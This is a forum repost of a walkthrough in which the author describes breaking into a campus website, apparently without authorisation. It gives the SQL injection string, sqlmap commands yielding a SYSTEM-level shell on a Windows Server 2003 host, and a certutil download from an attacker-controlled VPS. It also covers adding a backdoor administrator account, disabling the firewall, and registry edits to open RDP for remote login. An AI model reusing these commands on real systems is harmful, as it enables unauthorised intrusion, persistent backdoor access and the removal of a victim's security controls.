Jump to content

Title: Remember the penetration of campus sites without twists and turns

Featured Replies

Posted

0x01 Introduction

When preparing for the exam, I accidentally clicked on a site on the campus network and stopped reviewing (just draw the sword)

1049983-20220106104512280-663778906.png

0x02 Penetration process

Test to injection

http://url/newdetail.aspx?id=11999' or 1=1 --

Sqlmap is used directly, and there is no waf (dog head)

1049983-20220106104513053-178884482.png

Take a look at it casually

python sqlmap.py -u 'http://url/newdetail.aspx?id=119' --batch --dbs

python sqlmap.py -u 'http://url/newdetail.aspx?id=119' --batch -users

1049983-20220106104514484-1843347150.png

DBMSsqlserver 2005

1049983-20220106104515166-53616618.png

Whoami in windows nt authority system is a built-in system management account

1049983-20220106104515748-751391338.png

Check the directory chdir

1049983-20220106104516268-1231909659.png

Dir c:\

1049983-20220106104516970-1699368559.png

OS version Microsoft(R) Windows(R) Server 2003, Enterprise Edition

1049983-20220106104517567-176420855.png

ipconfig 1049983-20220106104518165-559949965.png

The existence of certutil on the server is equivalent to deciding to test the command

vps

python -m SimpleHTTPServer 80

Call it

ping wt070h.dnslog.cn

certutil.exe -urlcache -split -f http://funny_ip/amazing1x

Discover echo

1049983-20220106104518717-936528931.png

However, the website path is in Chinese. If you write Trojans, you will be garbled when writing Trojans. I found a solution but failed.

1049983-20220106104519086-1291404844.png

Look at the environment variables

1049983-20220106104520682-227088344.png

Nmap looked at the port because there was some problem when trying to connect remotely. At first, I didn't know what the reason was, so I planned to take a look.

1049983-20220106104523407-1707021554.png

Try to remotely connect 3389 to create a new user

#Create a new user

net user amazingadmin123 amazing.123456 /add

#Grant permissions

net localgroup Administrators amazingadmin123 /add

#Activate the user

net user amazingadmin123 /active:yes

#Close the firewall

netsh firewall set opmode mode=disable

#Enable default settings netsh firewall reset

Open port 3389 through the registry

echo Windows Registry Editor Version 5.00 3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] 3389.reg

echo 'fDenyTSConnections'=dword:000000000 3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] 3389.reg

echo 'ortNumber'=dword:00000D3D 3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] 3389.reg

echo 'PortNumber'=dword:00000D3D 3389.reg

regedit /s 3389.reg related records

1049983-20220106104525073-1391786797.png

Related records

1049983-20220106104525998-665197367.png

This process was tried for two or three times in a row but failed, and the reason was not found. The service was turned off. I had to take the exam first and wait for the administrator to turn on the computer.

1049983-20220106104526502-908582224.png

The website is online on the third day after the exam. Try creating a new user.

It turns out that it is a security policy problem. You cannot use a simple password. Just use a complicated password when creating a new user.

Remote connection️ 1049983-20220106104527002-46563665.png

The configuration is loading.

1049983-20220106104527472-1245304440.png

1049983-20220106104528176-432036921.png

0x03  Summary

1. Found an injection point on the home page http://url/newdetail.aspx?id=11999' or 1=1 --2. Inject it through SQLMAP, execute the command: sql-shellselect @@version; //Query the database version sql-oswhoami //Discover it as system permissions sql-oschdir //View directory sql-osdir c: //Click the C disk directory sql-ossysteminfo //View system version sql-osipconfig //View system IPsql-oscuertutil //Test whether there is cuertutil Download command 3. Build an HTTP server on VPS python -m SimpleHTTPServer 804. The cs generation exe can be uploaded to the VPS server. 5. Scan the target system open port through NAMP and find that 3389 exists 6. Create a user and add it to administrator permissions, and enable the account and turn off the fireproof function # Create a new user sql-osnet user amazingadmin123 Admin@12$12 /add# Give permissions sql-osnet localgroup Administrators amazingadmin123 /add# Activate the user sql-osnet user amazingadmin123 /active:yes# Close the firewall sql-osnetsh firewall set opmode mode=disable7. Successfully connect remotely through mstsc

Original link: https://xz.aliyun.com/t/9444

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.